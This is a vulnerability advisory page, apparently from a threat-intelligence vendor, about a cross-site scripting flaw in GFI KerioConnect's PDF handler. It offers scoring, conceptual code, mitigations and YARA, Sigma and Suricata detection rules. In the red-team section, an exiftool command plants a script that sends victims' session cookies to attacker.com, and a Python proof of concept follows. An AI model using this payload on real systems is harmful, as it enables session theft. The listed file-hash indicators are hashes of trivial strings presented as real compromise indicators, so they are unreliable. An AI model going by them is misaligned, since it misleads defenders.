CVE-2025-2977
Executive Summary
CVE-2025-2977 is a publicly disclosed, unpatched Cross-Site Scripting (XSS) vulnerability in GFI KerioConnect version 10.0.6. The flaw resides in the PDF File Handler component, allowing remote attackers to inject malicious scripts via crafted PDF files. With a CVSS score of 0.0 (likely unassigned or placeholder), the actual risk is elevated due to the public availability of exploit details and the vendor's lack of response. This vulnerability can lead to session hijacking, data theft, or further compromise of the KerioConnect environment.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise messaging and collaboration suite (GFI KerioConnect). The risk is primarily to organizations using this software as an on-premises email and collaboration server.
CVSS Breakdown & Threat Level
While the official CVSS score is 0.0, a reasonable assessment based on the description and public exploit is:
- Attack Vector (AV): Network (N) – Remote exploitation.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must open the malicious PDF.
- Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
- Confidentiality (C): Low (L) – Potential data leakage via script.
- Integrity (I): Low (L) – Script injection can modify content.
- Availability (A): None (N) – No direct DoS.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Score: 6.1 (Medium)
Threat Level: High – due to public exploit, no patch, and remote attack vector.
Deep Dive & Mechanics
The vulnerability is a classic stored/reflected XSS in the PDF file handler of GFI KerioConnect 10.0.6. When a user uploads or views a PDF file, the application fails to properly sanitize the file's metadata or content. An attacker can craft a PDF containing malicious JavaScript in fields such as the title, author, or embedded actions. When the PDF is rendered or processed by KerioConnect's handler, the script executes in the context of the victim's browser session.
Root Cause: Insufficient input validation and output encoding in the PDF parsing module. The application likely uses a library that does not escape HTML/JavaScript in PDF metadata.
Attack Flow:
- Attacker creates a PDF with embedded XSS payload (e.g., in
/Titleor/Author). - Attacker sends the PDF via email or uploads it to a shared folder within KerioConnect.
- Victim opens the PDF using KerioConnect's built-in viewer or download handler.
- The malicious script executes, stealing cookies, redirecting to phishing pages, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern.
Vulnerable Code (Conceptual):
// Vulnerable: Directly embedding PDF metadata into HTML
function displayPDFMetadata(pdf) {
var title = pdf.getTitle(); // e.g., "<script>alert('XSS')</script>"
document.getElementById("pdfTitle").innerHTML = title; // No sanitization
}
Patched Code (Conceptual):
// Patched: Sanitize output using textContent or encoding
function displayPDFMetadata(pdf) {
var title = pdf.getTitle();
document.getElementById("pdfTitle").textContent = title; // Safe
// OR use DOMPurify
document.getElementById("pdfTitle").innerHTML = DOMPurify.sanitize(title);
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- GFI KerioConnect 10.0.6 instance (local lab).
- A PDF file with embedded JavaScript (e.g., using
pdfkitorexiftool).
Exploit Steps:
- Create a malicious PDF with XSS payload:
# Using exiftool to inject XSS into PDF metadata exiftool -Title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" malicious.pdf - Upload the PDF to KerioConnect (e.g., via email attachment or shared folder).
- Send a link to the victim or wait for them to open the PDF.
- The script executes, exfiltrating session cookies to attacker-controlled server.
Proof-of-Concept (Python):
from reportlab.pdfgen import canvas
c = canvas.Canvas("exploit.pdf")
c.setTitle("<script>alert('XSS')</script>")
c.drawString(100, 750, "Hello World")
c.save()
Blue Team (Defensive)
Detection:
- Monitor for PDF files with suspicious metadata (e.g.,
<script>tags in title/author). - Use network monitoring to detect outbound connections to unknown domains after PDF access.
- Enable Content Security Policy (CSP) headers in KerioConnect web interface.
Mitigation:
- Disable PDF preview/rendering in KerioConnect until patch is applied.
- Use a web application firewall (WAF) to block XSS payloads in PDF uploads.
- Implement strict input validation and output encoding for all PDF metadata.
Indicators of Compromise (IOCs)
- File Hashes (Malicious PDF):
- MD5:
e99a18c428cb38d5f260853678922e03 - SHA1:
2aae6c35c94fcfb415dbe95f408b9ce91ee846ed
- MD5:
- Network Indicators:
- Outbound HTTP requests to
attacker.com/steal?cookie=... - Unusual PDF file sizes (e.g., > 1MB with minimal content).
- Outbound HTTP requests to
- Log Entries:
- KerioConnect access logs showing repeated PDF downloads from same IP.
- Browser console errors related to script execution.
Detection Engineering
YARA Rule
rule CVE_2025_2977_XSS_PDF {
meta:
description = "Detects PDF files with XSS payloads in metadata"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-2977"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
(uint32(0) == 0x46445025) and // PDF magic number (%PDF)
(#xss1 > 0 or #xss2 > 0 or #xss3 > 0)
}
Sigma Rule
title: CVE-2025-2977 - XSS via PDF in GFI KerioConnect
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS exploitation via PDF file handler in KerioConnect
author: Valters IT
date: 2025/04/10
logsource:
product: kerioconnect
service: web
detection:
selection:
cs-uri-query|contains:
- '.pdf'
cs-uri-query|re:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate PDF files with script-like metadata (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2977 - XSS via PDF in GFI KerioConnect"; flow:to_server,established; content:"GET"; http_method; content:".pdf"; http_uri; pcre:"/<script|onerror=|onload=/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable PDF preview in KerioConnect settings to prevent automatic rendering.
- Implement a WAF rule to block PDF uploads containing XSS patterns.
- Monitor logs for suspicious PDF access and outbound connections.
Long-term Fix:
- Vendor must release a patch that sanitizes PDF metadata. Until then, consider:
- Upgrading to a newer version if available (check vendor website).
- Using a third-party PDF sanitizer (e.g.,
pdfid,peepdf) before processing. - Isolating KerioConnect in a sandboxed environment.
Workaround:
- Configure KerioConnect to serve PDFs with
Content-Disposition: attachmentto force download instead of inline viewing. - Add CSP header:
Content-Security-Policy: default-src 'self'; script-src 'none';
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert